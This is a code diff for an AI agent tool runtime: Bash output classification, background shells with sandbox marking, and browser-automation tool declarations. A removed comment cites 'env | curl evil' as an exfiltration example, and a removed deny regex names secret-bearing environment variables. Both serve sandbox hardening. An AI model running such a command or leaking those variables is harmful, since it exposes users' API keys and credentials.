+ * the desktop panel. Includes finished sub-agents that are still within their
45
+ * fade window (so a just-completed agent doesn't vanish before the user sees
46
+ * it); shells carry their own terminal status and the panel decides how long to
47
+ * keep them. Jobs are only ever present while running (the registry drops them
48
+ * on finish).
49
+ */
50
+ export function listBackgroundWorkForUI(sessionId) {
51
+ const entries = [];
52
+ for (const s of backgroundShellManager.listForSession(sessionId)) {
53
+ entries.push({ kind: "shell", shell: s });
54
+ }
55
+ const now = Date.now();
56
+ for (const a of asyncAgentRegistry.listForSession(sessionId)) {
57
+ // Keep running agents, plus finished ones still inside their fade window so
58
+ // a completion is briefly visible. (finishedFadeAt = finishedAt + 30s.)
59
+ const fresh = a.status === "running" || (a.finishedFadeAt != null && a.finishedFadeAt > now);
60
+ if (!fresh)
61
+ continue;
62
+ entries.push({
63
+ kind: "subagent",
64
+ agentId: a.agentId,
65
+ name: a.name,
66
+ agentType: a.agentType,
67
+ description: a.description,
68
+ status: a.status,
69
+ startedAt: a.startedAt,
70
+ finishedAt: a.finishedAt,
71
+ });
72
+ }
73
+ for (const j of backgroundJobRegistry.listForSession(sessionId)) {
74
+ entries.push({
75
+ kind: "job",
76
+ jobId: j.jobId,
77
+ description: j.description,
78
+ status: j.status,
79
+ startedAt: j.startedAt,
80
+ ...(j.finishedAt != null ? { finishedAt: j.finishedAt } : {}),
81
+ ...(j.finalText != null ? { finalText: j.finalText } : {}),
82
+ ...(j.changedFiles && j.changedFiles.length ? { changedFiles: j.changedFiles } : {}),
83
+ });
84
+ }
85
+ return entries;
86
+ }
@@ -0,0 +1,32 @@
1
+ /**
2
+ * Bash output styling classifier (A1 — Shell error highlighting).
3
+ *
4
+ * The Bash tool emits a single text body that interleaves three kinds of
5
+ * content (see bash.ts):
6
+ * - the prepended status line `Exit code: N (command failed)` /
7
+ * `Killed by signal: X` (only present on failure),
8
+ * - stdout,
9
+ * - a stderr section introduced by a lone `STDERR:` marker line, which runs
10
+ * to the end of the body.
11
+ *
12
+ * Renderers (desktop ToolResultView, TUI ToolCall) want to tint the error
13
+ * portions without mutating the text — copy must still yield the exact bytes
14
+ * the model saw. This pure classifier maps each line to a kind so each surface
15
+ * can apply its own error color. It deliberately lives next to bash.ts so the
16
+ * markers it recognizes stay in lock-step with what bash.ts produces.
17
+ *
18
+ * NOTE: the desktop renderer cannot import core (thin-client rule), so it
19
+ * duplicates this tiny logic. The TUI imports it directly. Keep the two in sync.
20
+ */
21
+ export type BashLineKind = "normal" | "error";
22
+ export interface ClassifiedBashLine {
23
+ /** The original line, verbatim (never trimmed/altered — copy fidelity). */
24
+ text: string;
25
+ kind: BashLineKind;
26
+ }
27
+ /**
28
+ * Classify each line of a Bash output body. Once the lone `STDERR:` marker is
29
+ * seen, every subsequent line is part of the stderr region (sticky). Status
30
+ * lines are flagged wherever they appear.
31
+ */
32
+ export declare function classifyBashLines(lines: string[]): ClassifiedBashLine[];
@@ -0,0 +1,40 @@
1
+ /**
2
+ * Bash output styling classifier (A1 — Shell error highlighting).
3
+ *
4
+ * The Bash tool emits a single text body that interleaves three kinds of
5
+ * content (see bash.ts):
6
+ * - the prepended status line `Exit code: N (command failed)` /
7
+ * `Killed by signal: X` (only present on failure),
8
+ * - stdout,
9
+ * - a stderr section introduced by a lone `STDERR:` marker line, which runs
10
+ * to the end of the body.
11
+ *
12
+ * Renderers (desktop ToolResultView, TUI ToolCall) want to tint the error
13
+ * portions without mutating the text — copy must still yield the exact bytes
14
+ * the model saw. This pure classifier maps each line to a kind so each surface
15
+ * can apply its own error color. It deliberately lives next to bash.ts so the
16
+ * markers it recognizes stay in lock-step with what bash.ts produces.
17
+ *
18
+ * NOTE: the desktop renderer cannot import core (thin-client rule), so it
19
+ * duplicates this tiny logic. The TUI imports it directly. Keep the two in sync.
20
+ */
21
+ /** The exact status-line prefixes bash.ts prepends on a failed command. */
22
+ function isStatusLine(line) {
23
+ return /^Exit code: \d+ \(command failed\)$/.test(line) || /^Killed by signal: /.test(line);
24
+ }
25
+ /**
26
+ * Classify each line of a Bash output body. Once the lone `STDERR:` marker is
27
+ * seen, every subsequent line is part of the stderr region (sticky). Status
28
+ * lines are flagged wherever they appear.
29
+ */
30
+ export function classifyBashLines(lines) {
31
+ let inStderr = false;
32
+ return lines.map((text) => {
33
+ if (text === "STDERR:") {
34
+ inStderr = true;
35
+ return { text, kind: "error" };
36
+ }
37
+ const kind = inStderr || isStatusLine(text) ? "error" : "normal";
38
+ return { text, kind };
39
+ });
40
+ }
@@ -16,6 +16,9 @@
16
16
  * Killed by signal, the truncation message, sandbox denial hints).
17
17
  */
18
18
  import type { ToolContext } from "../context.js";
19
- import type { ToolDefinition } from "../../types.js";
19
+ import type { ToolDefinition, ToolResult } from "../../types.js";
20
20
  export declare const bashToolDef: ToolDefinition;
21
- export declare function bashTool(args: Record<string, unknown>, ctx?: ToolContext): Promise<string>;
21
+ export declare function bashTool(args: Record<string, unknown>, ctx?: ToolContext): Promise<string | {
22
+ result: string;
23
+ sandbox: ToolResult["sandbox"];
24
+ }>;
@@ -17,6 +17,15 @@
17
17
  */
18
18
  import { createOffBackend } from "../sandbox/off.js";
19
19
  import { safeSpawnShell } from "../../runtime/safe-spawn.js";
20
+ import { truncateHeadTail } from "../../runtime/truncate-output.js";
21
+ import { buildSandboxEnv, mergeShellEnv, defaultShellBinary } from "../../runtime/spawn-common.js";
22
+ import { backgroundShellManager } from "../../runtime/background-shell.js";
23
+ /** UI 标记:这次 Bash 走没走沙箱 + 网络策略。off 也带(显式标「未隔离」)。 */
24
+ function sandboxMark(backend) {
25
+ return backend.name === "off"
26
+ ? { backend: "off" }
27
+ : { backend: backend.name, network: backend.network };
28
+ }
20
29
  export const bashToolDef = {
21
30
  name: "Bash",
22
31
  description: "Execute a shell command and return its output. " +
@@ -34,66 +43,57 @@ export const bashToolDef = {
34
43
  type: "string",
35
44
  description: "Short description of what the command does",
36
45
  },
46
+ run_in_background: {
47
+ type: "boolean",
48
+ description: "Run the command in the background instead of blocking. Use for BOTH long-lived services " +
49
+ "(a dev server like `npm run dev`) AND slow one-shot tasks that would otherwise block for a " +
50
+ "long time (a download, a long build/test run). Returns immediately with a shell_id. " +
51
+ "When the command FINISHES you are automatically notified and woken to continue — so do NOT " +
52
+ "sleep, poll, or repeatedly BashOutput to wait for it. Just end your turn (or do other work); " +
53
+ "the system wakes you on completion. Use BashOutput(shell_id) only to check on a still-running " +
54
+ "process on demand, KillShell(shell_id) to stop one, ListShells() to enumerate. The process is " +
55
+ "killed when the session/app exits. (A never-exiting service like a dev server simply never " +
56
+ "fires that completion wakeup — that's expected.)",
57
+ },
37
58
  },
38
59
  required: ["command"],
39
60
  },
40
61
  };
41
62
  const MAX_OUTPUT = 100_000;
42
63
  const MAX_BUFFER = 10 * 1024 * 1024;
43
- /**
44
- * Env vars that are always safe to forward into the sandboxed shell. We pass
45
- * through enough for common Unix tooling (locale, PATH, HOME, terminal width)
46
- * but strip everything else. The Bash tool is the only thing the LLM can
47
- * directly steer at the shell, and a tainted model with full env access can
48
- * trivially exfiltrate `OPENROUTER_API_KEY` / `AWS_*` / `SSH_AUTH_SOCK` via
49
- * `env | curl evil`. Filesystem-level deniedReads don't help once secrets are
50
- * already in the process environment.
51
- *
52
- * `off` backend keeps the historical full-passthrough behavior — the user
53
- * explicitly opted out of sandboxing.
54
- */
55
- const ENV_ALLOWLIST = new Set([
56
- "PATH",
57
- "HOME",
58
- "USER",
59
- "LOGNAME",
60
- "SHELL",
61
- "LANG",
62
- "LC_ALL",
63
- "LC_CTYPE",
64
- "TERM",
65
- "TMPDIR",
66
- "TZ",
67
- "COLUMNS",
68
- "LINES",
69
- "PWD",
70
- ]);
71
- /**
72
- * Names matching these patterns are dropped even if they appear in the
73
- * allowlist (defense in depth — e.g. a user setting `PATH_TOKEN` shouldn't
74
- * leak just because it starts with `PATH`). Match is case-insensitive on
75
- * the full name.
76
- */
77
- const ENV_DENY_REGEX = /(KEY|TOKEN|SECRET|PASSWORD|PASSWD|CREDENTIAL|SESSION|AUTH|COOKIE|PRIVATE)/i;
78
- function buildSandboxEnv() {
79
- const out = {};
80
- for (const name of ENV_ALLOWLIST) {
81
- const v = process.env[name];
82
- if (v !== undefined && !ENV_DENY_REGEX.test(name)) {
83
- out[name] = v;
84
- }
85
- }
86
- return out;
87
- }
64
+ // The env allowlist / deny regex that hardens a sandboxed shell now lives in
65
+ // runtime/spawn-common.ts so foreground (this tool) and background shells
66
+ // share one source of truth. The `off` backend keeps the historical
67
+ // full-passthrough behavior the user explicitly opted out of sandboxing.
88
68
  export async function bashTool(args, ctx) {
89
69
  const command = args.command;
90
70
  if (!command)
91
71
  return "Error: command is required";
92
- const timeout = args.timeout || 120_000;
72
+ // A non-positive timeout (caller passing 0 / -5 / NaN) falls back to the
73
+ // default. `|| 120_000` only caught 0/NaN; a negative slipped through to
74
+ // setTimeout (clamped to 0 → near-instant kill → confusing "timed out after
75
+ // -5ms"). Treat non-positive as "use default" so the command actually runs.
76
+ const rawTimeout = args.timeout;
77
+ const timeout = typeof rawTimeout === "number" && rawTimeout > 0 ? rawTimeout : 120_000;
93
78
  const cwd = ctx?.cwd ?? process.cwd();
94
- const shell = process.env.SHELL || "/bin/bash";
79
+ const shell = defaultShellBinary();
95
80
  const backend = ctx?.sandbox ?? createOffBackend();
96
- const env = backend.name === "off" ? { ...process.env } : buildSandboxEnv();
81
+ const sandbox = sandboxMark(backend);
82
+ // Tag every textual return below with the sandbox mark so the UI badge
83
+ // shows up whether the command succeeded, failed, timed out, or aborted.
84
+ const mark = (result) => ({ result, sandbox });
85
+ // Project localEnvironment.env (ctx.shellEnv) layers on top of either the
86
+ // full passthrough (off) or the hardened allowlist (sandboxed) — see
87
+ // mergeShellEnv. Background mode merges the same way inside the manager.
88
+ const baseEnv = backend.name === "off" ? { ...process.env } : buildSandboxEnv();
89
+ const env = mergeShellEnv(baseEnv, ctx?.shellEnv);
90
+ // Background mode: spawn a detached, long-lived process and return a
91
+ // shell_id immediately (design §5.1). Fire-and-forget — the turn is never
92
+ // blocked, and Engine.run's wait-for-background loop never waits on it
93
+ // (§难点5: that loop only looks at asyncAgentRegistry).
94
+ if (args.run_in_background === true) {
95
+ return mark(runInBackground(command, ctx));
96
+ }
97
97
  // A6: lifecycle (spawn, kill cascade, IO drain, byte cap, abort/timeout)
98
98
  // is centralized in safeSpawnShell. We still handle Bash's user-facing
99
99
  // output formatting here.
@@ -111,25 +111,34 @@ export async function bashTool(args, ctx) {
111
111
  signal: ctx?.signal,
112
112
  });
113
113
  if (result.aborted) {
114
- return wasAbortedBeforeStart ? "Bash aborted before starting." : "Bash aborted by signal.";
114
+ return mark(wasAbortedBeforeStart ? "Bash aborted before starting." : "Bash aborted by signal.");
115
115
  }
116
116
  if (result.timedOut) {
117
- return `Command timed out after ${timeout}ms`;
117
+ return mark(`Command timed out after ${timeout}ms`);
118
118
  }
119
119
  if (result.spawnFailed) {
120
- return `Failed to spawn command: ${result.error ?? "unknown error"}`;
120
+ return mark(`Failed to spawn command: ${result.error ?? "unknown error"}`);
121
121
  }
122
- let output = "";
122
+ let body = "";
123
123
  if (result.stdout)
124
- output += result.stdout;
124
+ body += result.stdout;
125
125
  if (result.stderr)
126
- output += (output ? "\n" : "") + `STDERR:\n${result.stderr}`;
127
- if (!output)
128
- output = "(command completed with no output)";
126
+ body += (body ? "\n" : "") + `STDERR:\n${result.stderr}`;
127
+ if (!body)
128
+ body = "(command completed with no output)";
129
+ // Truncate the OUTPUT body head+tail (TODO 2.11) — the tail of a failing
130
+ // command (the error / final summary) is usually the most useful part, so we
131
+ // keep both ends instead of dropping the end. The exit-code/signal status
132
+ // line is prepended AFTER truncation so it's never lost.
133
+ if (body.length > MAX_OUTPUT) {
134
+ body = truncateHeadTail(body, { cap: MAX_OUTPUT });
135
+ }
129
136
  const code = result.exitCode;
130
137
  const sig = result.signal;
138
+ let output = body;
131
139
  if (code !== 0 && code !== null) {
132
- output = `Exit code: ${code}\n${output}`;
140
+ // Semantic non-zero-exit marker (TODO 2.11): clear "command FAILED" line.
141
+ output = `Exit code: ${code} (command failed)\n${output}`;
133
142
  }
134
143
  else if (code === null && sig) {
135
144
  // Killed by a signal we didn't time out on — OOM-kill, sandbox-kill,
@@ -140,10 +149,37 @@ export async function bashTool(args, ctx) {
140
149
  const hint = backend.hintForBlockedOutput?.(result.stderr);
141
150
  if (hint)
142
151
  output += hint;
143
- if (output.length > MAX_OUTPUT) {
144
- output =
145
- output.slice(0, MAX_OUTPUT) +
146
- `\n\n... output truncated (${output.length} chars total)`;
152
+ return mark(output);
153
+ }
154
+ /**
155
+ * Bash(run_in_background=true) branch: start a long-lived background shell
156
+ * through the BackgroundShellManager and return its handle. Same sandbox as
157
+ * the foreground path (D8). Rejected in unattended automation runs (§5.5)
158
+ * because no one is there to reap a dev server.
159
+ */
160
+ function runInBackground(command, ctx) {
161
+ if (ctx?.allowBackgroundShells === false) {
162
+ return "Error: background shells are not available in automation/headless runs. Run the command in the foreground, or have a human start the dev server.";
163
+ }
164
+ const sessionId = ctx?.sessionId;
165
+ if (!sessionId) {
166
+ return "Error: run_in_background requires a session context (no sessionId available).";
167
+ }
168
+ const mgr = ctx?.backgroundShells ?? backgroundShellManager;
169
+ const r = mgr.spawnBackground({
170
+ command,
171
+ cwd: ctx?.cwd ?? process.cwd(),
172
+ sessionId,
173
+ sandbox: ctx?.sandbox,
174
+ shellEnv: ctx?.shellEnv,
175
+ });
176
+ if (!r.ok) {
177
+ return `Error: ${r.error}`;
147
178
  }
148
- return output;
179
+ return [
180
+ "Started background shell.",
181
+ `shell_id: ${r.shellId}`,
182
+ `command: ${command}`,
183
+ `(Use BashOutput("${r.shellId}") to read output; KillShell("${r.shellId}") to stop; ListShells() to enumerate.)`,
184
+ ].join("\n");
149
185
  }
@@ -0,0 +1,33 @@
1
+ /**
2
+ * Browser automation tools — drive the in-app webview via the BrowserBridge
3
+ * (CDP under the hood). Collapsed into THREE semantic tools (was 9 flat tools)
4
+ * to keep the LLM's tool list lean:
5
+ *
6
+ * browser_observe — observe the page: snapshot (a11y elements) / read (text) /
7
+ * extract (link+image+video URLs). [+ image/vision in P4]
8
+ * browser_act — interact: click / type / select / press_key / hover /
9
+ * scroll / wait / list_tabs / switch_tab (action-dispatched).
10
+ * browser_navigate — load a URL (high-frequency, kept standalone).
11
+ *
12
+ * Spec: docs/superpowers/specs/2026-06-18-browser-module-redesign-design.md §4.1.
13
+ *
14
+ * snapshot returns interactive elements as a compact ref-tagged list (a11y tree,
15
+ * token-economical, no screenshots); act references elements by the ref the
16
+ * latest snapshot assigned. All tools degrade with a clear error when no browser
17
+ * is wired. isConcurrencySafe:false — a single webview is driven serially.
18
+ *
19
+ * Permission: browser_act is permissionDefault "allow"; the sensitive actions
20
+ * (click/type/select) are escalated to "ask" by a preset PermissionRule keyed on
21
+ * argsPattern { action }, so one tool can carry per-action gating (§4.6).
22
+ */
23
+ import type { ToolDefinition } from "../../types.js";
24
+ import type { ToolContext } from "../context.js";
25
+ import type { BuiltinToolResult } from "./index.js";
26
+ export declare const browserObserveToolDef: ToolDefinition;
27
+ export declare function browserObserveTool(args: Record<string, unknown>, ctx?: ToolContext): Promise<BuiltinToolResult>;
28
+ export declare const browserActToolDef: ToolDefinition;
29
+ export declare function browserActTool(args: Record<string, unknown>, ctx?: ToolContext): Promise<string>;
30
+ export declare const browserNavigateToolDef: ToolDefinition;
31
+ export declare function browserNavigateTool(args: Record<string, unknown>, ctx?: ToolContext): Promise<string>;
32
+ /** True when the session has a browser bridge wired (used to gate visibility). */
33
+ export declare function isBrowserAutomationAvailable(ctx?: ToolContext): boolean;